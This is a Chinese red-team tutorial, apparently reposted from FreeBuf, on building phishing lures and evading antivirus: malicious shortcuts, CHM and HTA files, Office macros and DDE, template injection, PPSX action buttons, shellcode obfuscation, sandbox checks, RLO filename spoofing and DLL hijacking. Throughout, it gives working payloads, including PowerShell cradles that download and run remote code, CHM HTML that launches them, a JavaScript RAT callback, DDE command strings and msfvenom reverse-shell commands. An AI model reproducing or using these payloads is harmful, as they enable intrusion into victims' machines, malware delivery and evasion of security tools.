目录
1、文档连接钓鱼
1)LINK链接钓鱼
2)LINK快捷方式钓鱼
3)CHM文档钓鱼
CHM文档bypass waf
4)HTA钓鱼
5)宏钓鱼
宏钓鱼 bypass waf
6)OLE(Object Linking and Embedding,对象链接与嵌入)
7)嵌入JS元素
8)利用模板文件注入宏指令
9)CVE
2、伪造界面钓鱼
1)PPT动作按钮特性构造 PPSX 钓鱼
3、exe等可执行文件
1)shellcode 异或加密免杀(golang)
2)shellcode转换免杀
3)shellcode编译免杀
4)shellcode分离加载免杀
5)绕过沙盒
6)exe伪装
7)绕过行为检测
8)DLL劫持+重新制作安装包
9)免杀思路
4、邮件钓鱼
5、flash钓鱼
6、网站钓鱼
1、文档连接钓鱼
1)LINK链接钓鱼
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/3856f33b01908cf07ce560f81096f77d.jpg)
首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)
快捷方式的起始位置留空,目标为:C:WinodwsSystem32ftp.exe -''s:aaa.dll
快捷方式的图标以及名字可以进行适当的伪装
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/b34a22101af72daa79fea320bce1f155.jpg)
运行CS,根据图片点击:Scripted Wed Delivery(s)![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/c801a81572b900d971be297ccc8fce4a.jpg)
主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/257de9f9a2b12f5863344064148fba9c.jpg)
这里就创建好了一个 powershell 的回连恶意链接 复制即可![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/9b3c3cbc0f4824962737f7df021cc19a.jpg)
powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))'
但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/295582ce3a21b9ebe51519bb430b21c4.jpg)
2)LINK快捷方式钓鱼
此方式与上述方式类似
首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/324f6d4172aa4079cb66e90bcb0ccf63.jpg)
C:WindowsSystem32WindowsPowerShellv1.0![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/c801a81572b900d971be297ccc8fce4a.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/257de9f9a2b12f5863344064148fba9c.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/9b3c3cbc0f4824962737f7df021cc19a.jpg)
将powershell恶意代码放入进行修改,将代码最前端添加绝对路径![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/3ada1449637ead849b42b51e159868ab.jpg)
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c 'IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))'
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/e35e2f7a0f6c6c5390032fa8d7bf0c9b.jpg)
可以对图标和名称进行适当的更改,之后就可以开始钓鱼了
3)CHM文档钓鱼
使用 EasyCHM 可以轻松的新建一个 chm 文件
EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线
首先创建个空文件夹
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/39575e79e70f2715f63379b05e1b51c3.jpg)
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1>
<PARAM name='Command' value='ShortCut'>
<PARAM name='Button' value='Bitmap::shortcut'>
<PARAM name='Item1' value=',calc.exe'>
<PARAM name='Item2' value='273,1,1'>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ee74c391ca61b46877e8e4cbde0971b5.jpg)
注意:',payload',上面代码中为',calc.exe',此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ae78575231ca7f6e7b3912cf77079504.jpg)
工程目录选择我们建立的test文件夹(html文件放在文件夹内)![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/2bf075f35c7ba15b2da7fbd2fc66f50d.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/b23d15127365b0923ed428e24d677cd6.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/0428e9a31477df2d4c88d481ac55db59.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ac4cfecc1caf191d4f150210ca0c674c.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/67e610ea796d6b6a419e8f9f0b300008.jpg)
尝试使用 Cobalt Strike 木马 + CHM 上线Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/45d38e152c777a4b2cf578e1838cde74.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/7e2e08ceeb7b4da15df0d6f814b837a6.jpg)
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1>
<PARAM name='Command' value='ShortCut'>
<PARAM name='Button' value='Bitmap::shortcut'>
<PARAM name='Item1' value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))'>
<PARAM name='Item2' value='273,1,1'>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/9317f9a2c49c6f13cca5f7ee03a80917.jpg)
注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/4f8c1d640f608a02bd6687b2d6ec1eaf.jpg)
MyJSRat下载地址:https://github.com/Ridter/MyJSRat![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/93e0ccc5742f54cf02b6eda9029c73d4.jpg)
python2 MyJSRat.py -i 192.168.27.180 -p 8080
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/f374ce150970fd0eed9c86d03e44d16e.jpg)
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1>
<PARAM name='Command' value='ShortCut'>
<PARAM name='Button' value='Bitmap::shortcut'>
<PARAM name='Item1' value=',rundll32.exe, javascript:'..mshtml,RunHTMLApplication ';document.write();h=new%20ActiveXObject('WinHttp.WinHttpRequest.5.1');h.Open('GET','http://192.168.27.180:8081/connect',false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject('WScript.Shell').Run('cmd /c taskkill /f /im rundll32.exe',0,true);}'>
<PARAM name='Item2' value='273,1,1'>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/8ff47eec43a8e0356a1357b43c30671a.jpg)
hh -decompile .[\html](file://html) CSS2.0中文手册.chm
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/5f11001e7d379e7b48a14279b3c678a3.jpg)
钓鱼html嵌入到 html/css2/c_color.html![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ce35bbf5e2e5d63035a2ed0092018088.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/4dee268a48dc2986452680d34de8811f.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/a217d56b67b46143cec82e1f3638bc07.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/944cc8ae6a373cc9b01f049e27b0cf6f.jpg)
注意此处,一定要诱导用户点击到 c_color.html 模块才可以CHM文档bypass waf
(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。HH.EXE -decompile C:WindowsTemp ./XMLconvert.chm(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。4)HTA钓鱼
HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shellmshta http://127.0.0.1:8080/xxx.htahttps://github.com/mdsecactivebreach/CACTUSTORCH![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ddfd7f503070e733bef337b38c51417a.jpg)
5)宏钓鱼
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/703c12e60289261144ac27504ddd95fe.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/e9ffd7603bf5c0163b58d70837bd4111.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/bf17063a1d12b8098d8d94e479012e4d.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/834ee86ef8ffc76f33956e60b1cd93b8.jpg)
点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/27cf2d580138ecf0665313a770f12197.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/8d5ad352446a339b334d7ca50a424b9f.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/c5cf6311261844abaf0e364fba4bc4c8.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/b8074a014b7b3d201c2a911d78d75a9c.jpg)
https://github.com/outflanknl/EvilClippy使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测新建一个Excel,在左下角的sheet处右键单击,选择插入:![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/32bfdcc4d6c28472ca264fbfefe18f21.jpg)
在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/36b1e542319ecff2124f06198942a958.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/9389bfbd51c0ac941dbfed0c4a364231.jpg)
=exec('c:windowssystem32cmd.exe')并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/286dc99a62a06838c74a0b7bcaabecc6.jpg)
宏钓鱼 bypass waf
https://github.com/sevagas/macro_packhttps://github.com/mdsecactivebreach/SharpShooter参考 https://www.certego.net/en/news/advanced-vba-macros/6)OLE(Object Linking and Embedding,对象链接与嵌入)
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs在开源的 openoffice 中可以直接只有DDE函数,像 =DDE('cmd';'/C calc';'123') 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。注意:该方法的提示窗口只提示 application 而不提示 topicexcel:(如果前缀是'='、'+' 或 '-',则将其余部分视为表达式)=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString('http://XXXX/getshell.ps1');IEX $e'!_xlbgnm.A1打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现'{}'之后,将下面的这段代码复制到两个大括号之间{ DDEAUTO c:windowssystem32cmd.exe '/k calc.exe' }msf中可直接用,生成一个rtf文档,点击即可上线use exploit/windows/fileformat/office_dde_delivery7)嵌入JS元素
这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = 'http://149.129.64.180/evil.exe'; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>
8)利用模板文件注入宏指令
原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。我们在启用宏的模板文件(doc3.dotm)里写入宏。Sub AutoOpen()
Shell 'calc'
End Sub
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/85c0f50850f5495d40ef5b8b0bfccca5.jpg)
9)CVE
Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等https://github.com/bhdresh/CVE-2017-0199影响版本:office 2016、2013、2010、2007https://github.com/Ridter/CVE-2017-11882/
影响版本:office 2016、2013、2010、2007、2003https://github.com/rxwx/CVE-2018-0802
影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack32、伪造界面钓鱼
1)PPT动作按钮特性构造 PPSX 钓鱼
运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/038fd7d2701b6b7ad0305f5bc51fdf61.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/3ab368cd5958662db11ce021e292a1fe.jpg)
powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))'
powershell -NoP -NonI -W Hidden -Exec Bypass 'IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php','$env:tempii.jse'); Invoke-Item '$env:tempii.jse''
然后将格式保存为ppsx格式保存即可 执行即可上线3、exe等可执行文件
1)shellcode 异或加密免杀(golang)
利用 msfvenom 生成一段 shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234利用 golang ,将shellcode进行异或![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/b4ea990345b9a6aad74ae5e63e01d647.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/dea13b0a6798353067343c6820ae2028.jpg)
2)shellcode转换免杀
C#编译成exe -> exe -> 转js -> js混淆参考文章:https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/https://github.com/tyranid/DotNetToJScript
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/1da1470d8feb6deea4a0871554fe24f7.jpg)
3)shellcode编译免杀
使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.phpbamcompile -w -c shell.php shell.exe4)shellcode分离加载免杀
分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的shellcode loader github开源项目很多![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/046a2520f411e2db37f0a689c93e4c31.jpg)
5)绕过沙盒
主要思想:判断父进程是否为Debugger:在沙盒内被调试判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB
https://github.com/dycsy/ShellcodeLoaderhttps://github.com/1y0n/AV_Evasion_Tool
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/4f9d501257d2daefcead332771440bf7.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/2b043e48e5833bb0b943862d3a9ec6a5.jpg)
6)exe伪装
这里使用 Restorator 2018 小工具进行图标修改http://www.pc6.com/softview/SoftView_585736.html
直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可https://www.easyicon.net/iconsearch/⾳乐ico/http://www.bitbug.net/在线制作ico图标![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/52f69c890198e88284243c4e90715ff5.jpg)
通过重命名,在a后面右键,插入Unicode控制字符 -> RLO![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/ce1783bc89bf0cd743af0bee6e6f5a7d.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/9b2b1a5fa5f5dd79a9383b7d76616f1b.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/658f3a7f6a395a43fbb0642c95a380e0.jpg)
实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀木马文件:artifact.exe 迷惑文件:calc.exe进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/0a2a1d18f4b06984a85555e1d157870d.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/d7f13c499d32f999c5ca31c2a51c27b8.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/fb4a640a3f8abf6b291d044ea72b913d.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/2a7bb2b8bad73f46a8a560f9278cf716.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/f5381d7f639e7ff969954881e0df20db.jpg)
7)绕过行为检测
其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等8)DLL劫持+重新制作安装包
DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:Winodwssystem32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/d0fbe20273b6f6a7d00bb445d743d6e2.jpg)
在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/2a3cf98e240ba2b0c8928276309ef2cf.jpg)
1.输入CS或者msf生成的shellcode生成免杀DLL文件4.需要把两个文件放在被劫持的软件同目录下才可以运行本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
https://blog.csdn.net/weixin_35771144/article/details/111056447
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/402f3ee0fc26d266576b951321675f2b.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/801b14db46a489bf3ffe2ab6caa2f572.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/4a1fd04c202cea39335a66573c53eb5e.jpg)
![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/df727ea6be3294a4401b078b3f5d711c.jpg)
C:Program Files (x86)SangforSSLSangforCSClient 下的![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/6826d329ef71796547032fb71b48a0ba.jpg)
注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下![](https://system-daogeziyuan-1251174242.cos.ap-nanjing.myqcloud.com/type_article/sucaituijian/595102965166aea265a131f10d4c21b8.jpg)
使用NSIS制作安装包可以参考:https://www.cnblogs.com/modou/p/3573772.html
9)免杀思路
4、将python-payload转base64值7、转成反序列化后的payload再用python3的tinyaes混淆8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行https://github.com/Yihsiwei/GoFileBindergolang免杀捆绑器 捆绑器免杀效果会持续更新下去使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)GoFileBinder.exe 木马.exe xxx.txt4、邮件钓鱼
https://www.freebuf.com/articles/web/260391.html5、flash钓鱼
源码:https://github.com/r00tSe7en/Fake-flash.cn6、网站钓鱼
本文作者:YLion, 转载请注明来自FreeBuf.COM
- 免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)
文章为用户上传,仅供非商业浏览。发布者:Lomu,转转请注明出处: https://www.daogebangong.com/articles/detail/Fishing%20against%20red%20and%20blue%20Summary%20of%20common%20fishing%20ideas.html
评论列表(196条)
测试